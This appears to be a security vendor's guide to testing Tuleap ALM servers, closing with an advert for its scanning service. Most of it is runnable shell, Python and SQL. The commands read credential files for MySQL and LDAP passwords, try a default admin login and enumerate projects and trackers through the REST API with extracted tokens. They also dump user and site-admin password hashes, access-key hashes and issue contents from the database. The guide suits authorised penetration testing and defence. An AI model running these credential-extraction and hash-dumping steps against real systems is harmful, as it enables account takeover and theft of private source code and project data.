Tuleap is a popular open-source Application Lifecycle Management (ALM) platform used by enterprises and defense organizations for project management, issue tracking, and source code hosting (SVN/Git). Key assessment areas: /etc/tuleap/conf/database.inc exposes MySQL credentials; /etc/tuleap/conf/local.inc contains the LDAP bind password and site key; the REST API uses personal access tokens; and source code repositories may be accessible via extracted credentials. This guide covers systematic Tuleap security assessment.
# Tuleap — /etc/tuleap/conf/ credential extraction
TULEAP_URL="https://tuleap.example.com"
# /etc/tuleap/conf/database.inc — MySQL database credentials
cat /etc/tuleap/conf/database.inc 2>/dev/null
# $dbpasswd = '...'; <-- MySQL database password
# $dbuser = 'tuleapadm';
# $dbhost = 'localhost';
# $dbname = 'tuleap';
python3 -c "
import re
content = open('/etc/tuleap/conf/database.inc').read()
patterns = {
'dbpasswd': r'\\\$dbpasswd\s*=\s*[\'\"](.*?)[\'\"]\s*;',
'dbuser': r'\\\$dbuser\s*=\s*[\'\"](.*?)[\'\"]\s*;',
'dbhost': r'\\\$dbhost\s*=\s*[\'\"](.*?)[\'\"]\s*;',
'dbname': r'\\\$dbname\s*=\s*[\'\"](.*?)[\'\"]\s*;',
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# /etc/tuleap/conf/local.inc — LDAP and application secret
grep -E "sys_ldap|ldap_password|sys_auth_token|sys_key" \
/etc/tuleap/conf/local.inc 2>/dev/null | head -20
# $sys_ldap_passwd: LDAP bind password for directory integration
# sys_key or sys_auth_token: application signing key
# Test admin login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${TULEAP_URL}/account/login.php" \
-d "form_loginname=admin&form_pw=siteadmin" \
-c /tmp/tuleap_c -b /tmp/tuleap_c -L 2>/dev/null)
echo "admin/siteadmin: HTTP ${STATUS}"
# Tuleap REST API — personal access token and admin assessment
TULEAP_URL="https://tuleap.example.com"
# Tuleap REST API authentication:
# Option 1: Token header — X-Auth-Token (personal access token)
# Option 2: Basic auth — X-Auth-UserId + X-Auth-Token
# Personal access tokens are created in user profile > Access Keys
# Test API with extracted PAT
PAT="extracted-personal-access-token"
USER_ID="1" # admin user ID
curl -s "${TULEAP_URL}/api/users/self" \
-H "X-Auth-Token: ${PAT}" \
-H "X-Auth-UserId: ${USER_ID}" \
-H "Content-Type: application/json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'UserID: {d.get(\"id\")}')
print(f'Username: {d.get(\"username\")}')
print(f'Email: {d.get(\"email\")}')
print(f'Is admin: {d.get(\"is_site_administrator\")}')
" 2>/dev/null
# Enumerate all projects
curl -s "${TULEAP_URL}/api/projects?limit=50&offset=0" \
-H "X-Auth-Token: ${PAT}" \
-H "X-Auth-UserId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
projects=json.load(sys.stdin)
print(f'Projects: {len(projects) if isinstance(projects,list) else \"error\"}')
if isinstance(projects,list):
for p in projects[:5]:
print(f' [{p.get(\"id\")}] {p.get(\"shortname\")} — {p.get(\"label\")}')
" 2>/dev/null
# Access trackers (issue tracking artifacts)
curl -s "${TULEAP_URL}/api/trackers?project_id=100&limit=20" \
-H "X-Auth-Token: ${PAT}" \
-H "X-Auth-UserId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
trackers=d if isinstance(d,list) else d.get('trackers',[])
for t in trackers[:5]:
print(f' Tracker {t.get(\"id\")}: {t.get(\"label\")} — {t.get(\"nb_open_items\")} open items')
except: pass
" 2>/dev/null
# Tuleap MySQL database — user hash, access token, and repository content
DB_PASS="extracted-db-password"
mysql -u tuleapadm -p"${DB_PASS}" tuleap 2>/dev/null << 'EOF'
-- Tuleap user table with password hashes
SELECT u.user_id, u.user_name, u.email, u.password,
u.status, u.admin,
u.realname, u.add_date, u.last_access_date
FROM user u
WHERE u.status = 'A' -- active users
ORDER BY u.user_id
LIMIT 20;
-- password: bcrypt $2y$ hash in modern Tuleap
-- admin: 'S' = site admin, 'N' = regular user
-- Site administrators
SELECT u.user_id, u.user_name, u.email, u.password
FROM user u
WHERE u.admin = 'S' AND u.status = 'A';
-- Personal Access Keys (REST API authentication)
SELECT k.id, k.user_id, k.token, k.description,
k.expiration_date, k.last_usage,
u.user_name, u.email, u.admin
FROM user_access_key k
JOIN user u ON u.user_id = k.user_id
WHERE k.expiration_date IS NULL OR k.expiration_date > NOW()
ORDER BY k.last_usage DESC
LIMIT 20;
-- token: hashed; raw token shown only at creation time
-- Note: Tuleap stores token hash, not plaintext — extraction via DB gives hash only
-- Project groups and membership
SELECT g.group_id, g.group_name, g.unix_group_name,
g.status, g.type,
ug.admin_flags, u.user_name, u.email
FROM groups g
JOIN user_group ug ON ug.group_id = g.group_id
JOIN user u ON u.user_id = ug.user_id
WHERE ug.admin_flags = 'A' -- project admins
AND g.status = 'A'
ORDER BY g.group_id
LIMIT 20;
-- Tracker artifacts (issue content)
SELECT a.id, a.tracker_id,
u.user_name as submitter,
a.submitted_on, a.last_update_date,
c.body as description
FROM tracker_artifact a
JOIN user u ON u.user_id = a.submitted_by
JOIN tracker_field_changeset_value_text c ON c.changeset_id = a.last_changeset_id
ORDER BY a.last_update_date DESC
LIMIT 10;
EOF
| Security Test | Method | Risk |
|---|---|---|
| /etc/tuleap/conf/database.inc MySQL dbpasswd extraction | Read /etc/tuleap/conf/database.inc — database credentials for all project data, source code access, user hashes, and tracker artifacts | Critical |
| /etc/tuleap/conf/local.inc LDAP bind password extraction | Read /etc/tuleap/conf/local.inc — sys_ldap_passwd LDAP service account password enabling directory enumeration and user data access | High |
| Admin credential brute-force (admin/siteadmin) | POST /account/login.php — site admin session; full platform administration, project management, user data export, plugin installation | High |
| user table bcrypt password hash extraction with admin identification | MySQL SELECT password FROM user WHERE admin='S' — bcrypt hashes for site administrators; offline password recovery enabling full platform compromise | High |
| REST API project, tracker, and artifact enumeration | GET /api/projects and /api/trackers with PAT — all projects, issue tracker artifacts, source code access; sensitive development data and potentially classified project information | Medium |
Ironimo tests Tuleap deployments for /etc/tuleap/conf/database.inc MySQL dbpasswd extraction, /etc/tuleap/conf/local.inc LDAP bind password and site key extraction, admin/siteadmin credential brute-force at /account/login.php, user table bcrypt hash extraction with site admin (admin='S') identification, REST API personal access key authentication and project enumeration, tracker artifact content access via /api/trackers, SVN and Git repository access control assessment, user_access_key PAK token hash extraction (for offline analysis), Tuleap version disclosure for CVE targeting, and plugin audit for unauthorized code execution.
Start free scan